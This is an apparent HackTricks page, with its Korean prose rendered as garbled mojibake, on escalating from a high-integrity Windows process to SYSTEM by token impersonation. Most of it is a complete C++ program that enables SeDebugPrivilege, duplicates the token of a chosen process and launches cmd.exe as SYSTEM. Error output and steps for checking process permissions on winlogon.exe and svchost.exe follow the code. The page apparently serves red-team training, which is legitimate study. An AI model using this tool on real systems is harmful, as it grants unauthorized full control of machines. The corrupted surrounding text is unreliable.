SeImpersonate from High To System
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ฝ๋
๋ค์ ์ฝ๋๋ ์ฌ๊ธฐ์์ ๊ฐ์ ธ์จ ๊ฒ์
๋๋ค. ์ด๋ ์ธ์๋ก ํ๋ก์ธ์ค ID๋ฅผ ์ง์ ํ ์ ์์ผ๋ฉฐ, ์ง์ ๋ ํ๋ก์ธ์ค์ ์ฌ์ฉ์๋ก ์คํ๋๋ CMD๊ฐ ์คํ๋ฉ๋๋ค.
High Integrity ํ๋ก์ธ์ค์์ ์คํํ ๋, System์ผ๋ก ์คํ ์ค์ธ ํ๋ก์ธ์ค์ PID๋ฅผ ์ง์ ํ๊ณ cmd.exe๋ฅผ System์ผ๋ก ์คํํ ์ ์์ต๋๋ค.
impersonateuser.exe 1234
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
์ค๋ฅ
๊ฒฝ์ฐ์ ๋ฐ๋ผ System์ ๊ฐ์ฅํ๋ ค๊ณ ์๋ํ ๋ ๋ค์๊ณผ ๊ฐ์ ์ถ๋ ฅ์ด ํ์๋๋ฉฐ ์๋ํ์ง ์์ ์ ์์ต๋๋ค:
[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326
์ด๊ฒ์ ๋์ ๋ฌด๊ฒฐ์ฑ ์์ค์์ ์คํ ์ค์ด๋๋ผ๋ ์ถฉ๋ถํ ๊ถํ์ด ์๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
ํ์ฌ svchost.exe ํ๋ก์ธ์ค์ ๋ํ ๊ด๋ฆฌ์ ๊ถํ์ processes explorer (๋๋ process hacker๋ฅผ ์ฌ์ฉํ ์๋ ์์)๋ก ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค:
svchost.exeํ๋ก์ธ์ค๋ฅผ ์ ํํฉ๋๋ค.- ๋ง์ฐ์ค ์ค๋ฅธ์ชฝ ๋ฒํผ ํด๋ฆญ โ> ์์ฑ
- โ๋ณด์โ ํญ์์ ์ค๋ฅธ์ชฝ ํ๋จ์ โ๊ถํโ ๋ฒํผ์ ํด๋ฆญํฉ๋๋ค.
- โ๊ณ ๊ธโ์ ํด๋ฆญํฉ๋๋ค.
- โAdministratorsโ๋ฅผ ์ ํํ๊ณ โํธ์งโ์ ํด๋ฆญํฉ๋๋ค.
- โ๊ณ ๊ธ ๊ถํ ํ์โ๋ฅผ ํด๋ฆญํฉ๋๋ค.
.png)
์ด์ ์ด๋ฏธ์ง๋ ์ ํ๋ ํ๋ก์ธ์ค์ ๋ํด โAdministratorsโ๊ฐ ๊ฐ์ง ๋ชจ๋ ๊ถํ์ ํฌํจํ๊ณ ์์ต๋๋ค (์๋ฅผ ๋ค์ด svchost.exe์ ๊ฒฝ์ฐ โQueryโ ๊ถํ๋ง ๊ฐ์ง๊ณ ์์์ ๋ณผ ์ ์์ต๋๋ค).
winlogon.exe์ ๋ํ โAdministratorsโ์ ๊ถํ์ ํ์ธํด ๋ณด์ธ์:
.png)
ํด๋น ํ๋ก์ธ์ค ๋ด์์ โAdministratorsโ๋ โ๋ฉ๋ชจ๋ฆฌ ์ฝ๊ธฐโ ๋ฐ โ๊ถํ ์ฝ๊ธฐโ๋ฅผ ํ ์ ์์ผ๋ฉฐ, ์ด๋ ์๋ง๋ ๊ด๋ฆฌ์๊ฐ ์ด ํ๋ก์ธ์ค์์ ์ฌ์ฉ๋๋ ํ ํฐ์ ๊ฐ์ฅํ ์ ์๊ฒ ํด์ค๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


